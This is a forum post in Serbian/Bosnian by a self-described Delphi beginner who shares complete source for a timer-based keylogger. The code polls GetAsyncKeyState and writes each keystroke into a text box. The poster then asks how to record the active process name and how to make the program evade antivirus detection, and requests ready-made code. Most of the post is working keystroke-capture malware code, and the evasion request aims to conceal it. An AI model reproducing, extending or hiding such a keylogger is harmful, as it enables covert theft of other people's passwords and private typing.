Pošto sam početnik u delhi-ju i želim da što više naučim, odlučio sam da napravim jedan mali keylogger, koji ne želim da zloupotrebljavam već čisto da vidim kako to funkcioniše. Nakon višesatnog rada uspio sam i napraviti, međutim mi se ne sviđa kako radi. A evo postavit ću i source code, a zatim i pitanja:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function Write(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Write(' [BACKSPACE] ');
9: Write(' [TAB] ');
12: Write(' [ALT] ');
13: Write(' [ENTER] ');
16: Write(' [SHIFT] ');
17: Write(' [CONTROL] ');
18: Write(' [ALT] ');
20: Write(' [CAPS LOCK] ');
21: Write(' [PAGE UP] ');
27: Write(' [ESC] ');
33: Write(' [PAGE UP] ');
34: Write(' [PAGE DOWN] ');
35: Write(' [END] ');
36: Write(' [HOME] ');
37: Write ( '[LEFT ARROW]');
38: Write ( '[ARROW UP]');
39: Write ( '[RIGHT ARROW]');
40: Write ( '[ARROW BELOW]');
45: Write(' [INSERT] ');
46: Write(' [DEL] ');
91: Write ( '[WIN LEFT]');
92: Write ( '[WIN RIGHT]');
93: Write(' [MENU POP-UP] ');
96: Write('0');
97: Write('1');
98: Write('2');
99: Write('3');
100: Write('4');
101: Write('5');
102: Write('6');
103: Write('7');
104: Write('8');
105: Write('9');
106: Write(' [NUM *] ');
107: Write(' [NUM +] ');
109: Write(' [NUM -] ');
111: Write(' [NUM /] ');
112: Write(' [F1] ');
113: Write(' [F2] ');
114: Write(' [F3] ');
115: Write(' [F4] ');
116: Write(' [F5] ');
117: Write(' [F6] ');
118: Write(' [F7] ');
119: Write(' [F8] ');
120: Write(' [F9] ');
121: Write(' [F10] ');
122: Write(' [F11] ');
123: Write(' [F12] ');
144: Write(' [NUM LOCK] ');
187: Write('=');
188: Write(',');
189: Write('-');
190: Write('.');
191: Write(';');
193: Write('/');
220: Write(']');
221: Write('[');
222: Write('~');
226: Write('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Write(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Write(Chr(keyloop));
if (keyloop >= 96) and (keyloop <= 110) then
Write(Chr(keyloop));
end;
end;
inc(keyloop);
until keyloop = 255;
end;
end.
A interesuje me sledeće:
1. Kako da napravim da mi u Memo komponenti ne piše npr. ENTER, BACKSPACE... već da to bude kako i radi u programima poput Word-a??
2. Kako da mi prije texta detektuje i napiše o kojem se processu radi??
3. Da li bi to nekako moglo da se napravi da ga ne detektuje antivirus ( ako neko ima code, ne da mi piše )??
Unaprijed zahvalan!